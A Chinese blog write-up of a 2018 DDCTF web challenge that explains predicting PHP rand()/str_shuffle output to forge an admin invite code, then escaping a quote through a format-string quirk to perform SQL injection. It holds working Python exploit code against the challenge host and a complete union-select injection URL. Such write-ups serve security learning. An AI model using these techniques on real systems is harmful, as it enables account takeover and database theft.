我的博客
題目 :
提示:www.tar.gz http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d
解答 :
題目又給了源碼,美滋滋。 然而下載到源碼后就不美滋滋了。
一共給了三個頁面,主頁很明顯,有一個SQL注入漏洞。這個題之前安恒杯三月見過。利用率printf函數的一個小漏洞,%1$’可以造成單引號逃逸。
然而,你是進不去主頁的。因為。。
還沒進去,就被die了。
然后只好分析如何能成為admin了。此時看到了。
當你是通過邀請碼注冊的,你便可以成為admin。
然而,邀請碼是完全隨機的。
此時,想起LCTF的一道題,感覺完全一樣有木有!
https://github.com/LCTF/LCTF2017/tree/mast...
然而當時有兩個解,一個非預期條件競爭,另一個正則的漏洞。
此時這題完全沒用啊!當時要瘋了,猜測,難道是要預測隨機數?
然而,當我看到大佬這句話的時候,萌生了放棄的想法,猜測肯定還有其他解法。
奈何,看啊看,看啊看,我瞪電腦,電腦瞪我。
最后還是決定看一下隨機數這里。很開心,找到了這篇文章。
http://drops.xmd5.com/static/drops/web-118...
然而,每個卵用,他只告訴了我:對!毛病就在隨機數,但是你會么?
滿滿的都是嘲諷….
來吧,一起看,首先這篇文章講了一種后門的隱藏方式,話說我讀了好幾遍才理解。
然后不得不感嘆,作者….你還是人么。這都能想出來。服!真的服!
首先,大家需要先知道rand()是不安全的隨機數。(然而我不知道)
然后str_shuffle()是調用rand()實現的隨機。所以此時重點是。如何預測rand?
然而作者沒告訴,給的鏈接都是數學,看不懂…..
此時PHITHON大佬的這篇文章真的是解救了自己。
https://www.leavesongs.com/penetration/saf...
所以,此時我們知道了一件事情。當我們可以獲取到連續的33個隨機數后,我們就可以預測后面連續的所有隨機數。
如何連續?大佬文章中說了,通過http請求頭中的Connection:Keep-Alive。
此時,我們先獲取他100個隨機數。
s = requests.Session()
url='http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/register.php'
headers={'Connection': 'Keep-Alive'}
state=[]
for i in range(50):
r=s.get(url,headers=headers)
state.append(int(re.search(r'id="csrf" value="(.+?)" required>', r.text, re.M|re.I).group(1)))
然后測試一下
yuce_list=[]
for i in range(10):
yuceTemp=yuce(len(state))
state.append(yuceTemp)
yuce_list.append(yuceTemp)
此時發現和實際是有一些沖突的。分析后發現,應該將生成的隨機數取余2147483647才是真正的數。
但此時又有了一個問題。

之前大佬是說過會有一定的誤差,但是誤差率太高了。雖然誤差不大,但是….
此時,沒辦法,只能祈求后面會處理誤差。此時我們完成了隨機數的預測。
接下來需要寫如何打亂字符串。
可以發現,一個很簡單的流程,生成隨機數,然后交換位置。

唯一不知道的地方就是其中這個地方的一個函數。
此時直接去GitHub翻一下源碼。
https://github.com/jinjiajin/php-5.6.9/blo...

然后就是愉快的重寫代碼。
def rand_range(rand,minN,maxN,tmax=2147483647):
temp1=tmax+1.0
temp2=rand/temp1
temp3=maxN-minN
temp4=temp3+1.0
temp5=temp4*temp2
rand=minN+(int)(temp5)
return rand
admin_old=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for i in range(len(admin_old))[::-1]:
a=rand_range(int(yuce_list[len(admin_old)-i-1]),0,i)
admin_old[i],admin_old[a]=admin_old[a],admin_old[i]
key=''
for i in admin_old:
key+=i
print(key)
此時就可以愉快的生成隨機數了。然后在進行一下注冊。此時csrf記得提前在獲取state時保存一下最后一位。
def getAdmin(username,passwd,code):
data={
"csrf":csrf,
"username":username,
"password":passwd,
"code":code
}
r=s.post(url,headers=headers,data=data)
print(r.text)
切記!code是:admin###開頭,后面截取32位!
最后用拿到的賬號進行登錄即可。
后面就是sql注入了。很簡單,只要單引號逃逸后,就可以顯注了。沒有其他過濾
/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=1&title=-1%1$'+union+select+1,f14g,3+from+a8e79480.key+where+1+%23

2018DDCTF-Writeup